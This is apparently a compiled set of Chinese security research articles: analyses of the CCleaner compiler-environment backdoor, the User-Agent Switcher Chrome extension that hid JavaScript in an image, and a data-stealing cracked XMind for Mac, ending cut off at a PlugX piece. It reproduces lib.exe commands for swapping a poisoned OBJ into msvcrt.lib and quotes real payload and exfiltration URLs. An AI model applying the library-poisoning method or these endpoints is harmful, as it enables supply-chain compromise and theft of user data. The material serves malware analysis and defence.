以及 Sleep，以备后续过程使用。 

2）接着利用 ShellCode 中的 SizeOfImage 去分配内存。 

 

3）往分配的内存头部填充垃圾数据，一直填充到代码段开始。 

 

4）根据结构里保存的节表信息，依次填充到分配的内存。 

5）如果结构里重定位信息不为空，则使用 dwShellKey 去解密重定位数据并利用重定位

数据去修正内存的数据。处理完之后把重定位数据清零。 

解密重定位数据的算法还原如下 
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6）如果输入表信息不为空，接着使用重定位处理用的 dwShellKey 去解密输入表对应的

字符串信息，如果是 ordinal 方式的则不做处理。使用解密了的 DLL 名以及 API 名获取到 API

地址后，并不直接填充，而是先把地址做求补操作后，生成一个小的 stub 再填进去。 

最后再把输入表用到的数据清零。 

解密输入表的流程还原如下： 
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7）跳到入口处执行，并设置 fdwReason 为 1。 

 

根据保留的结构可以大致还原出本来模块文件。 
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深入分析 CCleaner 后门代码-编译环境污染供应链攻击案例 

作者：360 天眼实验室 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4478.html 

综述 

2017 年 9 月 18 日，Piriform 官方发布安全公告，公告称该公司开发的 CCleaner 

version 5.33.6162 和 CCleaner Cloud version 1.07.3191 中的 32 位应用程序被植入了恶意

代码。被植入后门代码的软件版本被公开下载了一个月左右，导致百万级别的用户受到影响，

泄露机器相关的敏感信息甚至极少数被执行了更多的恶意代码。 

CCleaner 是独立的软件工作室 Piriform 开发的系统优化和隐私保护工具，目前已经被防

病毒厂商 Avast 收购，主要用来清除 Windows 系统不再使用的垃圾文件，以腾出更多硬盘空

间，它的另一大功能是清除使用者的上网记录。自从 2004 年 2 月发布以来，CCleaner 的用

户数目迅速增长而且很快成为使用量第一的系统垃圾清理及隐私保护软件。而正是这样一款隐

私保护软件却被爆出在官方发布的版本中被植入恶意代码，且该恶意代码具备执行任意代码的

功能。 

这是继 Xshell 被植入后门代码事件后，又一起严重的软件供应链攻击活动。360 威胁情

报中心通过对相关的技术细节的进一步分析，推测这是一个少见的基于编译环境污染的软件供

应链攻击，值得分享出来给安全社区讨论。 

后门技术细节分析 

恶意代码功能 

被植入了恶意代码的 CCleaner 版本主要具备如下恶意功能： 

1.    攻击者在 CRT 初始化函数 __scrt_get_dyn_tls_init_callback() 中插入了一个函数调

用，并将此函数调用指向执行另一段恶意代码。 

2.    收集主机信息（主机名、已安装软件列表、进程列表和网卡信息等）加密编码后通过

HTTPS协议的POST 请求尝试发送到远程IP：216.126.225.148:443，且伪造HTTP 头的HOST

字段为：speccy.piriform.com，并下载执行第二阶段的恶意代码。 

3.    若 IP 失效，则根据月份生成 DGA 域名，并再次尝试发送同样的信息，如果成功则

下载执行第二阶段的恶意代码。 
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植入方式推测 

根据 360 威胁情报中心的分析，此次事件极有可能是攻击者入侵开发人员机器后污染开

发环境中的 CRT 静态库函数造成的，导致的后果为在该开发环境中开发的程序都有可能被自

动植入恶意代码，相应的证据和推论如下： 

1.    被植入的代码位于用户代码 main 函数之前 

 

main 函数之前的绿色代码块为编译器引入的 CRT 代码，这部分代码非用户编写的代码。 

2.    植入的恶意代码调用过程 

 

 

可以看到 CRT 代码 sub_4010CD 内部被插入了一个恶意 call 调用。 

3.    被植入恶意代码的 CRT 代码源码调用过程 

通过分析，我们发现使用 VS2015 编译的 Release 版本程序的 CRT 反汇编代码与本次分

析的代码一致，调用过程为： 

_mainCRTStartup --> __scrt_common_main_seh --> 

__scrt_get_dyn_tls_dtor_callback --> Malicious call 

4.    CCleaner 中被修改的 __scrt_get_dyn_tls_init_callback() 和源码对比 

http://p6.qhimg.com/t01f2a076e094397ddf.png
http://p3.qhimg.com/t015845ea43ca4ebb44.png
http://p0.qhimg.com/t011304b119791de8af.png
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基于以上的证据，可以确定的是攻击者是向 __scrt_get_dyn_tls_init_callback() 中植入

恶意源代码并重新编译成 OBJ 文件再替换了开发环境中的静态链接库中对应的 OBJ 文件，促

使每次编译 EXE 的过程中，都会被编译器通过被污染的恶意的 LIB/OBJ 文件自动链接进恶意

代码，最终感染编译生成的可执行文件。 

__scrt_get_dyn_tls_init_callback() 函数位于源代码文件 dyn_tls_init.c 中。 

攻击技术重现验证 

编译环境的攻击面 

通过分析发现，如果要向程序 CRT 代码中植入恶意代码，最好的方式就是攻击编译过程

中引入的 CRT 静态链接库文件，方法有如下三种： 

1.    修改 CRT 库文件源码，重新编译并替换编译环境中的 CRT 静态库文件（LIB） 

2.    修改 CRT 库文件中某个 OBJ 文件对应的 C 源码，重新编译并替换 LIB 中对应的 OBJ

文件。 

3.    修改 CRT 库文件中某个 OBJ 文件的二进制代码，并替换 LIB 中对应的 OBJ 文件。 

CRT 运行时库 

C 运行时库函数的主要功能为进行程序初始化，对全局变量进行赋初值，加载用户程序的

入口函数等。 

定位 CRT 源代码 

http://p3.qhimg.com/t01aa64e9f8fd2e7e80.png
http://p6.qhimg.com/t01a2520ca9ea9a5dc0.png
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我们以 VS2008 为例，编写一个功能简单的 main 函数如下： 

 

在 main 函数结尾处设置断点，使用/MD 编译选项编译调试运行 

 

切换到反汇编代码并执行到 main 函数返回： 

 

返回后查阅源码可以看到对应的 CRT 源代码为：crtexe.c 

http://p2.qhimg.com/t019e4be2087472aaed.png
http://p7.qhimg.com/t019c5fdeb324113e3e.png
http://p3.qhimg.com/t01216e0eb95631872f.png
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源代码路径 ： 

D:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\crt\src\crtexe.c 

定位 CRT 静态链接库 

参考 MSDN 我们知道，在 VS2008 中，使用/MD 编译选项编译 Release 版本的程序引

用的 CRT 静态库为 msvcrt.lib，文件路径为 ： 

D:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\lib\msvcrt.lib 

LIB/OBJ 文件介绍 

以 VS2008 中的 msvcrt.lib 为例 

LIB 

这里介绍静态库 LIB 文件，是指编译器链接生成后供第三方程序静态链接调用的库文件，

其实是单个或多个 OBJ 通过 AR 压缩打包后的文件，内部包含 OBJ 文件以及打包路径信息，

比如 msvcrt.lib 文件解压后得到的部分 OBJ 文件路径如下： 

 

http://p3.qhimg.com/t01a21d2bc8b7e1f661.png
http://p8.qhimg.com/t01211d35dd17c21f78.png
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可以看到，msvcrt.lib 解压后确实也有 CRT 对应的 OBJ 文件：crtexe.obj 等 

OBJ 

源代码编译后的 COFF 格式的二进制文件，包含汇编代码信息、符号信息等等，编译器最

终会将需要使用的 OBJ 链接生成 PE 文件，crtexe.obj 文件格式如下： 

 

攻击 CRT 运行时库 

了解了 CRT 运行时库的编译链接原理，我们可以知道，使用/MD 编译选项编译的 main

函数前的 C 运行时库函数在静态链接过程中是使用的 msvcrt.ib 中的 crcexe.obj 等进行编译

链接的，并且源代码中定义不同的 main 函数名称，编译器会链接 msvcrt.lib 中不同的 OBJ

文件，列举部分如下表所示： 

 

修改 crcexe.obj 

我们以 VS2008 中编译 main()函数为例，如果修改 msvcrt.lib 中的 crcexe.obj 的二进制

代码，比如修改源码并重编译 crcexe.c 或者直接修改 crcexe.obj，再将编译/修改后的

crcexe.obj 替换 msvcrt.lib 中对应的 OBJ，最后将 VS2008 中的 msvcrt.lib 替换，那么使用

/MD 编译选项编译的所有带有 main()函数的 EXE 程序都会使用攻击者的 crcexe.obj 编译链

接，最终植入任意代码。 

为展示试验效果，我们通过修改 crcexe.obj 中 main 函数调用前的两个字节为 0xCC，试

验效果将展示编译的所有 EXE 程序 main 调用前都会有两条 int3 指令： 

http://p9.qhimg.com/t012120ed6a1c0c4b60.png
http://p2.qhimg.com/t0177617feb0aa398dc.png
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crcexe.obj 在 msvcrt.lib 中的路径 ： 

f:\dd\vctools\crt_bld\SELF_X86\crt\src\build\INTEL\dll_obj\crcexe.obj 

替换 msvcrt.lib 中的 crcexe.obj 

替换 msvcrt.lib 中的 OBJ 文件需要两步，这里直接给出方法： 

1.    移除 msvcrt.lib 中的 OBJ 文件 

使用 VS 自带的 LIB.EXE 移除 crcexe.obj ： 

lib /REMOVE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\build\INTEL\dll_obj\crcexe.obj msvcrt.lib 

2.    向 msvcrt.lib 中插入修改后的 crcexe.obj 文件 

使用 VS 自带的 LIB.EXE 插入污染后的 crcexe.obj ： 

lib msvcrt.lib f:\dd\vctools\crt_bld\SELF_X86\crt\src\build\INTEL\dll_obj\crcexe.obj 

编译过程自动植入恶意代码 

将替换了 crcexe.obj 的 msvcrt.lib 覆盖 VS 编译器中的 msvcrt.lib ： 

D:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\lib\msvcrt.lib 

重新编译执行我们的测试程序，可以看到在 main 函数执行前的两条插入的 int3 指令： 

http://p9.qhimg.com/t019f388125ab8f7454.png
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结论与思考 

2017 年 9 月初 360 威胁情报中心发布了《供应链来源攻击分析报告》，总结了近几年来

的多起知名的供应链攻击案例，发现大多数的供应链攻击渠道为软件捆绑。通过污染软件的编

译环境的案例不多，最出名的就是 2015 年影响面巨大的 Xcode 开发工具恶意代码植入事件，

从当前的分析来看，CCleaner 也极有可能是定向性的编译环境污染供应链攻击。以下是一些

相关的技术结论： 

1.    针对 LIB 文件攻击方式可以通过重编译源码或者修改 OBJ 二进制代码这两种方式实

现。 

2.    修改 OBJ 二进制代码实现对 LIB 文件的代码注入不同于修改源码，此方法理论上可

用于注入任何静态链接库 LIB。 

3.    只需按照 OBJ 文件格式规范即可注入任意代码（shellcode），比如在 OBJ 中新增/

扩大节，填充 shellcode 并跳转执行。 

4.    此攻击方法可以在用户代码执行前（CRT）、执行中（调用库函数）、甚至执行结束后

执行植入的恶意代码，并且由于恶意代码并不存在于编写的源代码中，所以很难被开发人员发

现。 

5.    攻击者完全可以植入某个深层次调用的开发环境下的静态库文件，以达到感染大部分

开发程序并持久化隐藏的目的。 

http://p2.qhimg.com/t0129af0613542896ce.png
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6.    使用源代码安全审查的方式无法发现这类攻击 

由于这类定向的开发环境污染攻击的隐蔽性及影响目标的广泛性，攻击者有可能影响

CCleaner 以外的其他软件，我们有可能看到攻击者造成的其他供应链污染事件。 

参考链接 

https://msdn.microsoft.com/en-us/library/abx4dbyh(v=vs.90).aspx 

欢迎对本篇文章感兴趣的同学扫描 360 天眼实验室公众号二维码，一起交流学习 

 

360 威胁情报中心 

 

  

https://msdn.microsoft.com/en-us/library/abx4dbyh(v=vs.90).aspx
http://p3.qhimg.com/t010202dff0502e3432.jpg
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Chrome 插件：User–Agent Switcher 恶意代码分析报告 

作者： 360CERT 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4456.html 

背景介绍 

2017 年 9 月 9 日，在 v2ex 论坛有用户表示 Chrome 中名为 User-Agent Switcher 的扩

展可能存在未授权侵犯用户隐私的恶意行为。因为用户量大，此事引起了广泛关注，360CERT

在第一时间对插件进行了分析，并发布了预警

https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889   

行为概述 

360CERT 经过跟踪分析，确认该插件将恶意代码隐写在正常图片中绕过 Google Chrome

市场的安全检查，并在没有征得用户同意的情况下，主动记录并上传用户的网页浏览地址并通

过广告推广获利。 

攻击面影响 

影响面 

经过 360CERT 研判后确认，漏洞风险等级高，影响范围广。 

影响版本 

Version 1.8.26 

DNS 请求态势 

uaswitcher.org 

 

https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889
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通过查看两个 User-Agent Switcher 的接受数据域名(uaswitcher.org)一个月内的记录，

在 2017 年 8 月 22 日高点日活请求达到 5 万左右，在 9 月 9 日事件披露后至今依旧有 4 万左

右的日活请求。 

the-extension.com & api.data-monitor.info 

 

通过查看两个 User-Agent Switcher 的 payload 推送域名和广告推广域名

(the-extension.com;api.data-monitor.info)的记录，从 2017 年 8 约 22 日前访问曲线才开

始上升，其中对 payload 推送的域名访问高点大概达到日活 1.3 万左右，对广告推广获取的

域名访问高点大概达到日活 1.1 万左右，并于 9 月 19 日访问曲线开始下降。 

注:该数据来自于:360 网络安全研究院(http://netlab.360.com/ ) 

修复版本 

暂无 

详情 

技术细节 

首先安装了该插件后,linux 会在该目录下得到相应的 crx 文件解包出来的插件配置以及相

关功能 js 文件目录 ：  

/home/r7/.config/google-chrome/Default/Extensions/ffhkkpnppgnfaobgihpdblnhmmbodake 

http://netlab.360.com/
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该目录的结构如下 ：  

1.8.26_0 

├── css 

│   ├── bootstrap.min.css 

│   ├── options.css 

│   └── popup.css 

├── img 

│   ├── active.png 

│   ├── glyphicons-halflings.png 

│   ├── glyphicons-halflings-white.png 

│   ├── icon128.png 

│   ├── icon16.png 

│   ├── icon19.png 

│   ├── icon38.png 

│   └── icon48.png 

├── js 

│   ├── analytics.js 

│   ├── background.js 

│   ├── bootstrap.min.js 

│   ├── content.js 

│   ├── jquery.min.js 

│   ├── JsonValues.js 
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│   ├── options.js 

│   └── popup.js 

├── manifest.json 

├── _metadata 

│   ├── computed_hashes.json 

│   └── verified_contents.json 

├── options.html 

├── popup.html 

└── promo.jpg 

  

4 directories, 25 files 

根据 chrome 插件编写原则 manifest.json 这个文件为核心配置文件 

canvas 图片 js 代码隐藏 

那么现在直接从 background.js 看起 在 background.js 的 70 行处有一行经过 js 压缩的

代码,进行 beautify 后 

可以比较清楚的看到执行了这个 promo 函数,这里大部分代码的功能都是对 promo.jpg

这个图片文件的读取处理 

0x01 

 

先看到 e.Vh 

 

其中第一部分还原出的值为 
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满足条件的地方是在 181787 这个值的地方 181787//4=45446 正好满足还原出的 list

长度 而值的内容都小于 10,所以这就是为什么要放在 A 分量上,A 分量的值 255 是完全不透明,

而这部分值附加在 245 上.所以对图片的观感完全无影响 

第二部分还原出的值为 
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这一部分就稍微复杂一点 
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in Vh for, y: 3 

in Vh for, y: 6 

in Vh for, y: 9 

in Vh for, y: 12 

in Vh for, y: 15 

in Vh for, y: 18 

in Vh for, y: 5 

in Vh for, y: 8 

in Vh for, y: 11 

in Vh for, y: 14 

in Vh for, y: 17 

in Vh for, y: 4 

in Vh for, y: 7 

in Vh for, y: 10 

in Vh for, y: 13 

in Vh for, y: 16 

可以看到 y 从 0 开始.当大于 16 的时候进行一次处理,而 y 有恒定的变化顺序

3,6,9,12,15,18,5,8,11,14,17,4,7,10,13,16 

而触发处理的是在>=16 这一条件下,构成(6,5,5)这样一个循环 
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再结合 w 的变换,只需要再安排好一个合适的数列，就能把大数拆分成(6,5,5)这样一组一

组的由 0-9 组成的数 

这就是为什么能以小于 10 的值将期望的值隐藏在 A 分量里 
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这就达到了将 js 代码隐藏于图片的效果，并且对图片本身几乎无任何显示效果以及大小

上的影响。 

而根据 js 中,document.dafaultView["Function"](n)()这个方式,可以直接执行 n 中的 js

代码,所以直接尝试增加 document.write(n) 直接输出 n 的内容至页面。 

 

可以看到这确实是一段 js 代码 

隐藏 JS 代码执行 

可以看到,原本的代码是执行 i()函数,而 i()函数的内容是 setTimeout 这一定时执行函数,

为了测试 直接提取出其中的执行函数进行执行 

这些代码的功能按流程来说如下 

1.首先 e({'act': func1('0x2d')});进行一个时间戳校验,满足一定时间后,从

https://the-extension.com 上下载 js 的 payload 

2.调用 chrome.storage.local.set 方法将这段 js 代码保存至本地缓存 ：  

Log/home/r7/.config/google-chrome/Default/Local Extension 

Settings/ffhkkpnppgnfaobgihpdblnhmmbodake/000003.log 

这一文件中 

3.再通过 r()[func1('0x1')](a);调用 r()函数后再调用 a()函数,执行了第二部保存下来的恶意

js 代码,进行的用户信息上传 

0x01 

首先是第一个技术,代码里的英文字符串 90%都转换成了 16 进制的表示形式 
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例如 ：  

var _0x2126 = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', 

'\x64\x6f\x77\x6e\x6c\x6f\x61\x64', 

'\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', 

'\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', 

'\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', 

'\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', 

'\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d'

, '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', 

'\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', 

'\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', 

'\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', 

'\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', 

'\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', 

'\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', 

'\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', 

'\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', 

'\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', 

'\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', 

'\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65']; 

这是一个列表,里面存了很多字符串,因为 js 有个特性,在形如 chrome.storage.local 这种

调用的时候 完全可以使用 chrome["storage"]["local"]这种方式 

然后这个列表的顺序其实不准确,还存在一个复原列表的操作 
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这个才是复原后的顺序 

0x02 

针对上面的列表取值,特地用了一个函数 

 

该函数作用就是把传入的 16 进制值转换为 10 进制,再在这个列表里作 index,返回对应字

符串 

 

可以看到大量采用这种形式的调用 

0x03 

可以看出代码中拥有大量的 Promise 对象 

并且通过使用大量的箭头函数,是代码可读性并不如顺序执行那种思维出来的那么简单 

 

http://p8.qhimg.com/t017097bd875cc40bd3.png
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下载恶意 payload 

 

https://the-extension.com/?hash=jwtmv6kavksy5cazdf4leg66r  为 payload 地址 

 

第二部分恶意代码 

用户信息上传 

很容易读到 

https://the-extension.com/?hash=jwtmv6kavksy5cazdf4leg66r
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这个地方 post 了数据并且是往 https://uaswitcher.org/logic/page/data 这个链接 

这里可以看到，调用到.request 方法的地方 
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然后调用了 fetchOverlayPattern 

可以看到其中的内容就是要传输出去的用户信息 

 

广告推广部分 

代码部分 
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这部分比较简单，就不过多赘述 

获取到的推广跳转链接 

 

经过多次跳转后的页面 

 

补充说明 

RGBA 

红绿蓝透明 R - 红色 (0-255) G - 绿色 (0-255) B - 蓝色 (0-255) A - alpha 通道 

(0-255; 0 是透明的，255 是完全可见的)0 

总结 
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该插件通过隐藏在图片中的恶意 js 代码向控制者服务器请求新的恶意 payload,恶意

payload 可以在用户不知情被控制者随时修改更新 

建议用户尽快卸载该插件，或使用其他插件代替 

利用验证 

 

可以看到当前的页面数据已经被获取了 

修复建议 

建议用户尽快卸载该插件，或使用其他插件代替 

时间线 

2017-09-09 事件披露  

2017-09-10 360CERT 发布预警通告  

2017-09-20 360CERT 完成全部细节分析 

参考文档 

Promise MDN web docs 
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https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Obj

ects/Promise  

Arrow functions MDN web docs 

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Functions/

Arrow_functions  

Pixel manipulation with canvas MDN web docs 

https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API/Tutorial/Pixel_m

anipulation_with_canvas  

js 中||的作用 

https://www.zhihu.com/question/23720136?nr=1  

不能说的秘密——前端也能玩的图片隐写术 | AlloyTeam 

http://www.alloyteam.com/2016/03/image-steganography/ 

  

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Functions/Arrow_functions
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Functions/Arrow_functions
https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
https://www.zhihu.com/question/23720136?nr=1
http://www.alloyteam.com/2016/03/image-steganography/
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Mac 下的破解软件真的安全吗？ 

作者：ch4r0n@饿了么安全应急响应中心 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4324.html  

前言 

小夏是一名普通 Mac 用户，某天，他打算试试思维导图来记录工作学习。 

他问同事小芳：“Mac 下有啥好用的思维导图软件？” 

小芳：“XMind 呀，很实用的思维导图软件。” 

小夏：“那到哪里下载，要钱吗？” 

小芳：“哎，你百度 XMind 破解版呀! 不需要花钱的，直接安装!” 

小夏：“这么方便！我试试！” 

这些所谓的破解版真的安全么? 

样本概述 

Xmind 是一款实用的思维导图软件，正版官网售价高达 99 刀, 这个价格当然对普通用户

无法承受, 通过搜索，很多站点都提供了破解版下载 

 

对比相同版本号的正版和破解版, hash 如下 ：  

dab95dbad19995aeb88cc5d1bb0a7912  XMind_orig   //正版   [v3.7.1]   [306.2M] 

094b3a161b7d041d217f6c61624ed388  XMind_new    //破解版 [v3.7.1]   [327.9M] 

我们发现该样本采集了用户的很多隐私信息, 上传到了第三方服务器,采集信息如下图： 

http://bobao.360.cn/learning/detail/4324.html
http://p7.qhimg.com/t015719261473dc20f7.png
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1、黑产非法售卖用户信息, 泄漏用户隐私 

2、广告推广, 获取盈利 

3、钓鱼执法, 发送侵权律师函 

4、etc 

下面我们对该样本详细分析 

基本信息 

在 Mac 应用中，OSX 系统下的 Mach-O 是可执行文件格式，程序跑起来解析 Mach-O，

然后链接系统的库文件以及第三方动态库。 

我们使用 MachOView 进行解析 

http://p7.qhimg.com/t01e9ae00cc2f1687bb.jpg
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在可执行文件 Load Commands 字段中记录了程序的加载指令，LC_LOAD_DYLIB 是程

序加载的动态库，其中 Name 字段记录了该动态库的路径，通常程序启动会根据该字段加载

动态库。这里发现其加载了新增的两个动态库文件 libcJFishPoolHook.dylib、

libXMindHook.dylib。除此之外，XMind 使用 Java 编写，移植到 Mac 平台，可执行文件也

没有什么值得重点分析。 

总结一下，主要做了如下事情: 

1、程序启动初始化，获取资源文件。 

2、加载.ini 配置文件，得到启动的参数键值对。 

3、将参数解析，然后运行加载 Library（Java 打包的动态库）. 

http://p5.qhimg.com/t01b516d1041cc4aa64.jpg
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直接对比正版和破解版的包目录, 在包中我们发现了多出来的 2 个 dylib 文件 

 

libC.JFishPoolHook.dylib 

libXMindHook.dylib 

下面对这 2 个 dylib 进行详细分析 

dylib 分析 

对于 Mac/iOS 中使用到的 dylib，可以使用 class-dump 和 hoppper 结合进行反汇编

分析。class-dump 又是一款开源解析 MachO 利器，与 MachOView 相似的是，他可按照

MachO 偏移量，找寻符号表（Symbol Table），从而导出类名和方法名，但是他提供了诸多

参数用于导出不同架构的 MachO 链接符号表。使用如下命令导出类名方法名到文件中 ：  

$ class-dump --arch x86_64 libCJFishPoolHook.dylib  header.txt 

$ cat header.txt 

https://github.com/nygard/class-dump
https://www.hopperapp.com/
http://p3.qhimg.com/t016c33733dafd2942e.jpg
http://p8.qhimg.com/t01fea5df23a243689a.png
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从导出结果来看，很可疑的是 CJFishPoolHook 类，该类有多达 16 个成员， 写该动态

库的程序员非常老实，没有进行任何加密、混淆类名、方法名的操作，因此从字面上也不难猜

出其含义为 qq 号、微信号、手机号、邮箱号、操作系统、CPU 类型、内存、MAC 地址、内

网 IP、公网 IP、用户名、应用列表、设备 ID，是否上传信息、开启应用和关闭应用的时间。  

http://p4.qhimg.com/t016991538300e584b4.jpg
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第二个动态库的类方法较少，很明显能猜出，hook 了程序的函数，修改程序运行逻辑。 

主要方法为: 

1、init 初始化方法 

2、ExChangeImp，Method Swizzling 动态交换函数指针，用于 hook 

3、BuyHook 

4、CheckUpdatesHook 

5、HelpHook 

6、TitleHook 

7、OpenURLHook 

8、DateMenuItemHook 

最后还使用了一个加密方法方法，该方法传入第一个参数（明文），第二个参数 key 用于

加密内容 ：  

@interface NSString （AES） 

+ （id）AESDecrypt:（id）arg1 password:（id）arg2; 

+ （id）AESEncrypt:（id）arg1 password:（id）arg2; 

@end 

@interface NSString （Number） 

- （BOOL）isPureFloat; 

- （BOOL）isPureLongLong; 

- （BOOL）isPureInt; 

@end 

抓包分析 

http://p4.qhimg.com/t0151aeba9aa9589f22.jpg
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通过上面的简单分析不难猜测, 他把采集的信息发送到服务端了, 通过抓包分析该样本与

服务端通信的过程如下： 

第一次向服务端发送了 checklocked, 返回值为 0, 说明可以传输设备信息 

 

接下的 data 是用来上传用户信息的。Body 是经过 AES 加密后 base 编码的密文，既然

key 已经有了，可以尝试解开请求密文 

 

通过静态分析我们知道他使用了 AES 加密算法, 而 key 就硬编码在代码中 

 

http://p6.qhimg.com/t01cbbb4da67ad07ca8.jpg
http://p4.qhimg.com/t018abef700cd4fc0e1.jpg
http://p9.qhimg.com/t016fa0ea5044fb1a24.jpg
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结合上述过程，了解到加密算法的第一个参数为 kCCEncrypt，第二个为

kCCAlgorithmAES128，第三个为加密的填充模式 kCCOptionECBMode。 依据此我们写出

的 AES 解密方法应该为 ：  

CCCryptorStatus cryptStatus = CCCrypt（kCCDecrypt,kCCAlgorithmAES128,kCCOptionECBMode, //ECB Mode   

keyPtr,kCCKeySizeAES128,iv,[self bytes],dataLength, /* input */buffer,bufferSize, /* output 

*/numBytesEncrypted）; 

key 为：iMdpgSr642Ck:7!@ 

解开的密文为 

 

下面我们看看该样本是如何获取这些用户隐私的。 

静态分析 

用户隐私收集 

http://p8.qhimg.com/t018a0e298fdbb53ced.jpg
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CJFishPoolHook.dylib 中会获取用户的隐私信息, 其流程如下 

 

在应用初始化过程中，单例类的 CJFishPoolHook 执行初始化 Init，随后，在 Init 方法中

进行初始化成员操作，包含上述的 16 个信息。 

在初始化过后，开启捕获用户信息 startCapture。这其中包含获取用户联系方式

（getContact），获取设备信息（getDevice），判断设备是否需要上传信息（checkLocked），

获取应用 ID（getProduct），获取设备上的应用列表（getFeature），获取地理位置

（getLocation），获取启动时间（getHabitStart）。 

最后一步，上传所有数据到服务器，并且使用 AES 加密算法加密 http body。 

恶意收集 QQ 信息, 电话, 微信号，应用列表 

应用从/Library/Containers/com.tencent.qq/Data/Library/Application 

Support/QQ 目录获取个人 QQ 信息。在该目录下，保存着用户的临时聊天记录，截图等信

息。  

 

从/Applications 遍历本机安装的应用，形成应用列表。 

 

http://p4.qhimg.com/t0156aa06eae21f9046.jpg
http://p6.qhimg.com/t018a1a28946b92ec21.png
http://p0.qhimg.com/t0154abed57215664c8.png
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恶意推广 

libCJFishPoolHook.dylib 修改了更新 xmind 的官方网站, 推广其自己的广告站点  

进程注入后，使用 Method Swizzling 挂钩 MenuItem、Button 等按钮，使其失效或重

定向跳转到其他网站，屏蔽注册、激活检查更新功能。难怪启动应用后发现激活按钮失效，无

法进行版本更新，购买激活产品却跳转到另一个网站。 

小结 

本次的逆向分析过程清晰，单从网络传输和静态分析上就能了解到该重打包应用运行状态

的全部过程。对此公司搜集用户信息的这种行为，不想做过多评价。 

主要还是从两个方面进行总结，对于开发者而言，要了解一些基本的防御手段，注重网络

传输安全、存储安全，在开发过程中，尽量不要把 key 明文编码于程序中，哪怕是将二次编

码后的 key 放到应用内也好。我们无法得知软件是否会被破解，key 是否会泄露，而一旦暴露

出来，则很容易被利用从而解开密文信息。更有甚者，直接使用 base 编码内容、数据位亦或

运算编码，这种更容易被分析。同时我们可以混淆加密、反调试等手段增加软件破解的难度。

另一方面，站在用户的角度，下载安装未经验证的软件，是一件很危险的事情，例如著名的

XcodeGhost 事件，其实就是开发者安装了非官方验证的开发软件，导致开发的程序带有后门，

窃取和上传大量用户信息。 

本文所述的只是个人信息安全的一角，但却不能忽视他的存在。就同本文中

libCJFishPoolHook 命名一样，真正的含义是鱼塘，软件使用者是鱼，养在破解者的鱼塘中，

等鱼养大了，也该收网了。 

过去六年间，Mac 销量越来越高，也意味着苹果用户越来越多。而用户一多，生态圈内

的软件产出势必增长, 同时也会出现更多恶意软件浑水摸鱼。 
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Mac 恶意软件发展历史 

 

我们发现很多 Mac 用户对自身的安全并不是很重视，针对用户的恶意软件逐渐增多，窃

取用户的隐私, 监控用户的日常行为, 恶意推广广告, etc。因此，我们应该提高自身的安全意

识, 警钟长鸣。 

欢迎对本篇文章感兴趣的同学扫描饿了么安全应急响应中心公众号二维码，一起交流学习 

 

http://p1.qhimg.com/t01b1f7a447870dc04b.jpg
https://bbs.ichunqiu.com/data/attachment/forum/201708/11/152123t88yy62reu2isrk6.jpg
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【活动】安全产品双十一大促 
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【BlackHat】 

Stack overflow in PlugX RAT 

作者：Chu@0KEE Team 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4365.html   

前言 

Black Hat USA 2017 上@professor__plum 分享了几款常见 RAT（Xtreme、PlugX、

